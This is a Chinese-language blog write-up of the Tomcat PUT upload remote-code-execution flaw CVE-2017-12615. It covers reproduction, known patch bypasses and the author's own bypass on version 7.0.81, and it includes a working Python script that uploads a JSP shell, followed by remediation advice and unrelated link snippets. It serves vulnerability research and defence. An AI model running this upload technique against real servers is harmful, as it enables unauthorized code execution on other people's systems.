Tomcat代码执行漏洞(CVE-2017-12615)的演绎及个人bypass
0x00 漏洞简介
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞。
漏洞CVE编号:CVE-2017-12615和CVE-2017-12616。
其中 远程代码执行漏洞(CVE-2017-12615)
影响: Apache Tomcat 7.0.0 - 7.0.79
漏洞触发条件:
1,tomcat得架设在windows主机上
2,将readonly由默认值true设置为false。(开启http PUT 方法)
攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
该漏洞由360观星实验室发现并提交。
官方在确认漏洞并在tomcat 7.0.81中修复。
0x01 漏洞演绎:漏洞复现
需要的环境:
1,tomcat 版本低于7.0.81
2,burpsuite
官网上在7.0.81出来之后就找不到低于该版本的了,在csdn下了一个7.0.65的免安装版。
jdk的配置与及环境变量的配置就不多说了。配置好conf/web.xml的readonly 为 false。如下图

startup启动tomcat,环境就算搭好了。
漏洞利用姿势有两种:
1,利用windows对文件名的要求特性。倘若文件名最后的一个字符是空格或者点号,会被自动去掉。
利用空格

利用点号

2,利用windows的ntfs文件流特性。关于文件流请看这里(https://msdn.microsoft.com/en-us/library/dn393272.aspx)

至于原理可以参考先知的分析(http://mp.weixin.qq.com/s/wWkb079hUYOwDgVQqEqGZQ)
0x02 漏洞演绎:bypass 补丁
在各方大佬对官方的的补丁进行分析,fuzz之后,发现了在文件名后加多一个'/' 或者'/.',可以直接bypass 补丁,攻击范围也从仅限于的windows扩展到windows和linux,漏洞影响版本也从仅影响7.x版本,直接日穿5.x到9.x所有版本。
漏洞影响:
版本:5.x-9.x
平台:windows,linux
bypass 补丁环境准备:
1,tomcat 7.0.81
2,burpsuite
修改好readonly,开始测试。
利用'/'

利用'/.'

0x03 漏洞演绎:我的bypass
在对多个版本进行复现,测试的时候,我也发现了一个'bypass',有些鸡肋,充其量应该算是补丁的缺陷吧。
1,版本仅限于7.0.81;
2,平台仅限于windows;
bypass 思路:先put请求一个服务器上面存在的jsp文件,如index.jsp%20,再put 我们自己的shell.jsp%20,神奇的发现创建了shell.jsp。测试了很久,发现只有%20可以过。
比如tomcat服务器上肯定存在index.jsp。
先put index.jsp%20 ,提示409

再put shell.jsp%20,可以发现成功创建了shell.jsp

在用burpsuite测试的时候,时不时会过不了。
写了个脚本,思路就清晰了不少。
#-*- coding:utf-8 -*- import requests
import sys
import random body = '<%out.println("hello ! This is my bypass shell");%>' urltemp = 'http://'+sys.argv[1]+'/index.jsp%20' # put the exists jsp,like the index.jsp
shellname = 'shell'+str(random.randint(1000,10000)) urlpoc = 'http://'+sys.argv[1]+'/'+shellname+'.jsp%20' urlnormal = 'http://'+sys.argv[1]+'/'+shellname+'.jsp' requests.put(urltemp,body) response = requests.put(urlpoc,body) code = response.status_code if code== 201:
print 'shell create'; response = requests.get(urlnormal)
code = response.status_code
if code == 200:
print 'Your shell: '+urlnormal
脚本是稳定的:

至于为什么会出现这种问题,得好好跟一下才知道了~~
0x04 修复方案:
认真检查tomcat 配置是否设置了readonly为false或者是否启用了PUT方法,设置readonly为true,禁用PUT方法!!
留意官方的最新补丁,及时升级!!
参考文章:
1,Tomcat 远程代码执行漏洞分析(CVE-2017-12615)及补丁 Bypass(http://www.freebuf.com/vuls/148283.html)
2,Tomcat信息泄漏和远程代码执行漏洞分析报告(CVE-2017-12615/CVE-2017-12616)(https://mp.weixin.qq.com/s/wWkb079hUYOwDgVQqEqGZQ)
Tomcat代码执行漏洞(CVE-2017-12615)的演绎及个人bypass的更多相关文章
- 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...
- 【漏洞公告】Tomcat信息泄漏和远程代码执行漏洞:CVE-2017-12615/CVE-2017-12616
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...
- 【漏洞复现】Tomcat CVE-2017-12615 远程代码执行漏洞
漏洞描述 [漏洞预警]Tomcat CVE-2017-12615远程代码执行漏洞/CVE-2017-12616信息泄漏 https://www.secfree.com/article-395.html ...
- 【研究】Tomcat远程代码执行漏洞(CVE-2017-12615)
一.Tomcat远程代码执行漏洞(CVE-2017-12615) 1.1 实验环境 操作机:windows 10 IP:192.168.1. ...
- Tomcat远程代码执行漏洞(CVE-2017-12615)修复
一.漏洞介绍 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有Tomcat远程代码执行漏洞,当存在漏洞的Tomcat运行在Windwos主机上,且启用了HTTP ...
- Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现
Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现 一. 漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方 ...
- Tomcat/7.0.81 远程代码执行漏洞复现
Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...
- WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞
漏洞名称: WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞 CNNVD编号: CNNVD-201310-195 发布时间: ...
- Apache Struts 远程代码执行漏洞(CVE-2013-4316)
漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...
随机推荐
- EntityFunctions
提供在 LINQ to Entities 查询中的一些static方法 例如: EntityFunctions.CreateDateTime , , ) == created);
- 关于aop的两种方式-基于注解和基于aspectj
spring的aop确实好用,能够在不影响业务功能的情况下,实现一些低耦合的功能. 而aop又有两种常用的实现方式,一种是用aspectj表达式去匹配,实现全局的配置,表达式还可以使用与或非符号去连接 ...
- Python+Requests接口测试教程(1):Fiddler抓包工具
本书涵盖内容:fiddler.http协议.json.requests+unittest+报告.bs4.数据相关(mysql/oracle/logging)等内容.刚买须知:本书是针对零基础入门接口测 ...
- 原生Jdbc操作Mysql数据库开发步骤
原生Jdbc操作Mysql数据库开发步骤 原生的Jdbc就是指,不使用任何框架,仅用java.sql包下的方法实现数据库查询等的操作. 下面是开发步骤: 1.导入数据库驱动包 ...
- [2016-07-15]结合命令行工具awk和多行文本编辑器快速生成DataSeed代码
目标:根据业务提供的两份数据,生成DataSeed代码 SampleDataA 上海 华东一线 上饶 华东四线 中山 华南二线 临汾 华北四线 临沂 华东二线 SampleDataB 上海 1D04E ...
- android如何与asp.net服务端共享session
近期需要实现一个功能,就是需要通过发送短信进行注册,现在想把短信验证码放到服务器的session值中,当客户端收到短信并提交短信码时由asp.net服务端进行判断,那么如何共享这个session那么需 ...
- js,jQuery实现可关闭悬浮框广告特效,兼容(谷歌,火狐,Ie)
注意不能直接用close()命名关闭广告函数,避免冲突. javascript实现方法: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Tr ...
- java中的ArrayList 使得集合中的对象不重复
JAVA中的List接口存放的元素是可以重复的,在这个我重写对象里面的equals()方法,让集合里存放的对象不能重复 首先建一个类,在里面的main()方法中实现 list1中存放的是可以重复对象的 ...
- Java起源
Java历史发展和特点 作为一名合格的程序员,如果不了解一些关于Java语言的起源是有一些不太合适的.下面就介绍一下我所了解的Java起源. 1.Java名字的来源 Java是印度尼西亚爪哇岛的英文名 ...
- 1000以内完全数(完美数)获取实现---基于python
"""题目: 如果一个数恰好等于它的因子之和,则称该数为"完全数" .各个小于它的约数(真约数,列出某数的约数,去掉该数本身,剩下的就是它的真约数)的 ...